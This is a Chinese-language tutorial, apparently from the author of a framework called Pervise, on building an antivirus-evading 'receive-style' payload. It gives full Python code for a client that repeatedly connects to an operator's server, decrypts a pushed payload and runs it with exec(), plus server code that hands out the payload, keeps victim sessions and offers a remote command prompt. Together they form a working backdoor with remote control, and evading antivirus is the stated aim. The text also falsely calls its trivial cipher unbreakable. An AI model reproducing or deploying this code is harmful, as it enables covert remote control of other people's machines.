什么是接受式免杀载荷?
这并不是什么专业名词,而是本人命名的一个“绰号”。 这与他的工作方式有关,他的木马程序只负责接受一段python代码并且运行他。而这段python代码是进行加密的,在本地解密后运行,达到免杀的效果。 加密后的密文拥有自己的密钥,算法是无法破解的。这样,防火墙便无法拦截我们的有效载荷(payload)的传递;同时,本地的接受载荷的功能因为过于简单,防病毒程序便无法判定为木马。当然,如果被判定为了木马,我们仅仅需要改变一小部分代码并且重新编译,便可以很快绕过杀毒软件的查杀。 这种免杀方式很类似于Metasploit Framework中的Meterpreter载荷。可是Meterpreter载荷已经被各大防病毒厂商“盯上”了,与其想着如何免杀Meterpreter,我们为什么不自己开发一个有效载荷呢?
关于Pervise
本篇文章的全部功能都可以在这里直接使用。 Pervise是由笔者开发的一款完全免费的渗透框架。您的Exploit和POC仅需通过十分简单的改造便可以用于Pervise。(如果您的脚本是Python编写的话,那会更简单!) 您可以在上面的链接中看到它,它现在托管在Github的仓库中。如果您觉得项目不错,欢迎贡献上您的Pull Request和Star!
免责声明
本文章中包含的全部内容仅供学习使用,造成的一切损失与笔者无关。
接受式载荷的工作流程
1. 开始运行
在这一步中,本地的接受有效载荷(Payload)开始运行。他开始不断向服务器请求连接,以获取它需要的加密信息。
2. 连接成功
成功了!Socket模块与服务器建立了连接! 服务器将会发送一段密文,他的格式如下: XXX_XXX_XXX_XXX…… 是时候解密了!根据脚本当中设置好的密钥,我们会使用函数对其进行解密!得到了一串代码……
3. 运行载荷
得到了有效载荷!是时候运行它了! 使用exec() 函数运行它吧!我们只需要将解密后的文本放在括号里就可以了! 不过在这之前,我们要先切断与服务器的连接。因为服务器需要和载荷中的代码建立连接了!
4. 再次建立连接
exec 函数中的代码成功执行了!它与服务器建立了一个TCP连接,并且开始互相发送命令消息。 它会严格按照您的代码执行命令,直到您在服务端切断连接。如果服务器与客户端的连接异常断开,它会在5秒后尝试重新连接并获取最新的有效载荷!您甚至可以不断的修改您让它执行的代码!
实现接受式载荷的工作
接受式载荷
import socket
import time
首先,我们需要先导入几个必须的模块。这应该越少越好!因为这会让您的载荷运行起来更便捷。不过,在运行解密后的载荷时,我们需要更多的模块。
def enctry(s,k):
k*=0xFFFF
encry_str = ""
for i,j in zip(s,k):
temp = str(ord(i)+ord(j))+'_'
encry_str = encry_str + temp
return encry_str
def dectry(p,k):
k*=0xFFFF
dec_str = ""
for i,j in zip(p.split("_")[:-1],k):
temp = chr(int(i) - ord(j))
dec_str = dec_str+temp
return dec_str
这里实现了加密和解密的模块。您无需理解它是如何工作的(因为我也不知道……),您只需要使用它就好了。
ip = '{PREPPER HOST}'
port = {PREPPER PORT}
md5 = '{PREPPER MD5}'
这里定义几个必须的变量。服务器的ip、端口和必须的MD5密钥。请把这里面的关键词替换为你需要的内容吧!
while True:
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((ip, port))
response = server.recv(81962)
response = response.decode('gbk')
response = dectry(response, md5).replace("{PREPPER IP}", ip)
exec(response)
except:
time.sleep(3)
这里是一个死循环,他将不断地连接服务器,失败后等待一会儿继续连接。如果成功连接,他会接受一段PayLoad,并且使用dectry函数解密。请注意!必须使用.decode()函数对内容进行解码!因为您的命令中可能包含中文。 这里的{PERPPER IP}也请您改成您需要的内容。recv()函数的接受长度也需要进行更改,这需要根据您的有效载荷进行判定。通常情况下,81962是最好的选择。
好了!以上就是接受载荷了!是不是很简单?天哪,这简直是初学者都能看懂的东西!没错,这篇文章就是给初学者的!
服务端
服务端的内容就有一些繁琐了。不过他也很简单。 但是,在这里,我十分建议您使用Pervise的Prepper模块!它可以帮你生成Payload与服务端!真的十分实用! 不过,我们是以学习为目的的。我还是得把核心代码提炼出来才行! 可惜的是,由于代码量太多,我们不得不将Pervise项目的部分内容引用进来。您可以将Pervise的仓库拉取到本地,然后在此环境下进行编码。
import socket
import time
import pervise_api
import color
import threading
import hashlib
sessions = {}
shellcode = """"""
调用一些必须的模块,并且定义一些必须的变量。 color模块、pervise_api模块无需您的理解。他是Pervise项目的一部分。
def list():
color.printGreen('HOST')
for key in sessions:
color.printRed(str(key))
color.printGreen('Usage: make prepper connect [HOST(only ip)] [PASSWORD]')
color.printGreen('Example: make prepper connect 127.0.0.1 1234')
这里的color模块也无需您的理解。它是用来输出彩色字体的,仅仅是为了美观。 这里的功能也很简单,输出所有已经捕获的连接载荷。
def _listen_core(bind_ip,bind_port,password):
global shellcode, sessions
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, int(bind_port)))
server.listen(5)
print('[*] Listening in %s:%s' % (bind_ip, bind_port))
hash_tool = hashlib.md5()
hash_tool.update(password.encode())
password = hash_tool.hexdigest()
with open('./Libs/prepper/attack/prepper_shellcode.py', 'r') as payload:
shellcode = payload.read().replace("{PREPPER PORT}", str(bind_port)).replace("{PREPPER MD5}", str(password))
shellcode = pervise_api.enctry(shellcode, password)
except Exception as e:
color.printRed('[-] Error.')
color.printRed(str(e))
return -1
while True:
try:
client, addr = server.accept()
color.printGreen('[*] New connect from ' + str(addr))
client.send(shellcode.encode())
client.close()
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, int(bind_port)))
server.listen(5)
client, addr = server.accept()
sessions[str(addr[0])] = client
except Exception as e:
color.printRed('[-] Error.')
color.printRed(str(e))
continue
这里是监听程序的核心部分。它很好理解,这里不做解释。
def listen(bind_ip,bind_port,password):
_core = threading.Thread(target=_listen_core,args=((bind_ip,bind_port,password)),daemon=True)
_core.start()
这里就开始监听了!不过我们是使用多线程模块的。这是因为Pervise框架的原因。在您自己的使用中,您可以将这短短代码删除,直接调用_listen_core()
def connect(session,password):
hash_tool = hashlib.md5()
hash_tool.update(password.encode())
password = hash_tool.hexdigest()
if session in sessions:
client = sessions.get(session)
else:
color.printRed('[-] '+str(session)+' does not exist.')
return -1
addr = session
while True:
try:
cmd = input('Prepper> ')
if 'load' in cmd.lower():
client.send(pervise_api.enctry('load', password).encode())
cmds = cmd.split()
try:
library = cmds[1]
with open(library, 'r') as lib:
library = lib.read()
client.send(pervise_api.enctry(library, password).encode())
client.settimeout(240)
print(pervise_api.dectry(client.recv(81962).decode('gbk'), password))
continue
except Exception as e:
color.printRed('[-] Failed.')
color.printRed(str(e))
color.printGreen('Usage: load [FILE PATH]')
color.printGreen('Example: load D:\\\\test.py')
continue
if 'back' in cmd.lower():
break
cmd = pervise_api.enctry(cmd, password)
client.send(cmd.encode())
res = pervise_api.dectry(client.recv(81926).decode('gbk'), password)
print(res)
if 'exit' in cmd.lower() or 'goodbye' in res.lower():
sessions.pop(session)
return 0
except Exception as e:
color.printRed(str(e))
return 0
这里的内容就比较繁琐了。它用来连接到一个已经有的session中。 如果您仔细阅读了监听模块,您会发现:所有连接上的有效载荷都会被存储到一个sessions字典中,在我们需要时连接。 这同样也是Pervise框架所需的功能。在实际使用中,您可以根据自己的需要删除部分内容。
def payload(bind_ip,bind_port,password,file_path):
hash_tool = hashlib.md5()
hash_tool.update(password.encode())
password = hash_tool.hexdigest()
payload_source = ''
try:
with open('./Libs/prepper/payload/payload.py','r') as payload:
payload_source = payload.read().replace("{PREPPER HOST}",bind_ip).replace("{PREPPER PORT}",str(bind_port)).replace("{PREPPER MD5}",str(password))
with open(file_path,'w') as payload:
payload.write(payload_source)
except:
print('[-] Error.')
return -1
print('[*] File path: '+str(file_path))
print('[*] Payload size: '+str(len(payload_source)))
这里也是Pervise框架的内容。它用来生成客户端文件,也就是我们刚才写的那个文件。
def info():
logo = """
__________
\\______ \\_______ ____ ______ ______ ___________
| ___/\\_ __ \\_/ __ \\\\____ \\\\____ \\_/ __ \\_ __ \\
| | | | \\/\\ ___/| |_> > |_> > ___/| | \\/
|____| |__| \\___ > __/| __/ \\___ >__|
\/|__| |__| \\/
"""
color.printRed(logo)
color.printRed('Prepper Beta 1')
color.printGreen('Usage:')
color.printGreen(' - make prepper listen [IP] [PORT] [PASSWORD]')
color.printGreen(' - make prepper payload [IP] [PORT] [PASSWORD] [FILE PATH](EX:D:\\\\payload.py)')
color.printGreen(' - make prepper list')
color.printGreen(' - make prepper connect [IP] [PASSWORD]')
这里的代码嘛……哈哈哈,就完完全全是Pervise框架中的内容了。一个ascii码字符组成的巨大Logo和一些简单的……嗯,使用方法。不过您可以不需要它的。
实验载荷是否正常工作
这就需要您自己的努力了。本篇文章的代码是零散的,因为他都是从Pervise框架中拆散出来的。我知道这很影响“抄代码”,但是,自己整理代码的过程有助于您的学习。不过,如果您想省事,可以直接git clone,拉取仓库中的内容。这可比抄代码快多了!(哈哈哈)
在Pervise框架中,它的实验结果如下:
大功告成
我们的接受式载荷已经正常工作了!我相信您现在可能已经理解了,或者……嗯,一头雾水。没关系,您无需理解它是如何实现的。其实,您只要会使用Pervise框架就可以了。不过,尝试去理解一段代码是正确的。我期待您为Pervise仓库交上Pull Request的那一天!
|